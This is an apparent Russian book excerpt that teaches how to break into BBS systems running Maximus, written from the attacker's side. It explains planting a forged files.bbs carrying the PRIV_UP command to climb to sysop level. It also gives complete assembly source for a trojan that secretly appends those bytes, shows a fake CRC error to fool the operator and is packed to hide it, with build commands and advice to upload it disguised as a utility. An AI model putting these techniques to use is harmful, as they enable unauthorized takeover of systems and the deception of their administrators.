Взлом BBS
Взлом BBS
Существует большое количество программ, предназначенных для создания и поддержания работы BBS. Рассмотрим самую популярную среди них – Maximus.
Несанкционированно проникнуть на BBS, получить доступ к закрытым областям, уничтожить информацию – такие задачи ставит перед собой взломщик.
Существуют так называемые списки файлов, в которых содержится информация о доступных пользователям этой BBS ресурсах. Как правило, такие списки есть в каждой специальной тематической конференции. Пользователи могут скопировать оттуда какой-либо файл или оставить свой. В программе Maximus списком всех файлов, доступных в конференции, является файл с названием files.bbs.
Специально для этой программы создан язык программирования, схожий с языками С и Pascal. На нем можно писать собственные программы под BBS. Скорее всего, именно поэтому большинство системных операторов предпочитают использовать Maximus. После компиляции написанной программы ее можно добавить в общую базу Maximus, и она начнет работать.
Каждая откомпилированная программа приобретает определенную маску файла. Откомпилированная MEC-программа имеет маску *. bbs, схожую с маской списка файла. Обычно в этих файлах содержатся списки, но если в коде встречаются какие-либо служебные команды, они будут выполнены. Этим взломщик и может воспользоваться.
В Maximus существуют два языка: MEC и MEX. Язык MEC очень прост, разобраться в нем может каждый. Он позволяет оперировать различными данными, заставками на BBS, базой пользователей. Системный оператор обязательно должен знать этот язык.
Используя команду «PRIV_UP» языка MEC системный оператор может без особых усилий повышать уровень пользователя, при условии, что последний будет писать и отправлять файлы на станцию. С повышением уровня, пользователь получает дополнительные возможности (увеличивается доступное для работы время, объем информации, которую можно получить с BBS). Этим и может воспользоваться хакер. Ему остается только найти BBS, работающую на программе Maximus, на которой есть много файловых конференций. При этом одна из этих конференций должна быть пустой (то есть в ней не должно быть файла files.bbs, содержащего доступные файлы в данной конференции). Таким образом, остается проверить только одно условие – если все копируемые на BBS файлы помещаются в конференцию, которая была выбрана последний раз, то такую BBS можно взломать без особых усилий. Хакеру остается только создать файл files.mec, записать в него команду PRIV_UP, затем откомпилировать этот файл при помощи компилятора MECCA (теперь он будет называться files.bbs) и отправить его на BBS. С этого момента хакер может поднимать свой уровень доступа, просматривая данную конференцию, пока он не достигнет уровня системного оператора станции. После этого компьютер окажется полностью в его распоряжении.
Если под рукой не оказалось компилятора MECCA, то создать files.bbs можно и вручную. Для этого нужно создать файл files.bbs, а затем ввести в него команду повышения уровня – на языке Maximus это всего три символа (код первого – 23h, следующие два – символы pU).
Еще один способ взлома BBS рассчитан на неграмотных системных операторов, не обладающих глубокими знаниями. Он заключается в том, что на станцию засылается программа (причем безразлично, куда она попадет), которая сама добавит команду повышения уровня в файл files.bbs. Во время просмотра доступных файлов хакеру автоматически будет подниматься уровень. Ниже приведен текст похожей исходной программы – фантазия тут может быть безгранична. Эта программа добавляет в файл files.bbs байты, повышающие уровень пользователю. После того, как системный оператор запустит эту программу на своем компьютере, программа ищет файл files.bbs и дописывает туда три байта. Приведенный пример рассчитан на системных операторов, которые держат свои файлы в каталоге, по умолчанию предлагаемом программой для установки. Хотя можно добавить поиск files.bbs по всему винчестеру компьютера.
assume cs:cseg, ds:cseg
cseg segment
org 100h
start:
;Найдем файл FILES.BBS
mov ah,4Eh
mov dx,offset fname
mov cx,20h
int 21h
;Если файл отсутствует, то выйдем из программы –
;здесь нечего исправлять
jc exit
;Откроем найденный файл
mov ax,3D02h
mov dx,9Eh
int 21h
jc exit
;Установим указатель чтения/записи в конец файла
mov bx,ax
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
;Записываем в файл три байта
mov ah,40h
mov cx,3
mov dx,offset bytes
int 21h
jc exit
;Закроем файл
mov ah,3Eh
int 21h
;Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,
;что отработавшая программа не должна вызвать подозрений
;системного оператора. Цель – заставить системного оператора
;думать, что файл испорчен. Возможно, он допустит, что иногда
;при передаче файлов происходят ошибки, и поэтому файл
;мог стать неработоспособным
exit:
;Выдадим сообщение об ошибке
mov ah,09h
mov dx,offset message
int 21h
;Выход в DOS
mov ah,4Ch
int 21h
;Мусор – специально для того, чтобы упаковать
;файл утилитой PKLITE
Garbage db 12000 dup (”A”)
;Имя файла ”FILES.BBS”
fname db ”files.bbs”,0
;Сообщение об ошибке
message db ”CRC file error”,13,10,”$”
;Записываемые байты
bytes db 23h,”pU”
cseg ends
end startПосле того, как файл откомпилирован, его нужно упаковывать, чтобы системный оператор ничего не заподозрил. Этот файл будет содержать большое количество непонятных символов, и при быстром просмотре распознать скрытую в нем программу практически невозможно.
tasm.exe vzlom.asm
tlink.exe vzlom.obj /t
pklite vzlom.comПосле этого файл отправляется на BBS и комментируется как демонстрационная программа или как утилита для DOS. Дальше взломщику остается только ждать, пока системный оператор запустит файл. Через некоторое время можно звонить и наслаждаться. Данный метод не сработает, если настоящая опция File Titles в Maximus заменена на ей подобную.
Данный текст является ознакомительным фрагментом.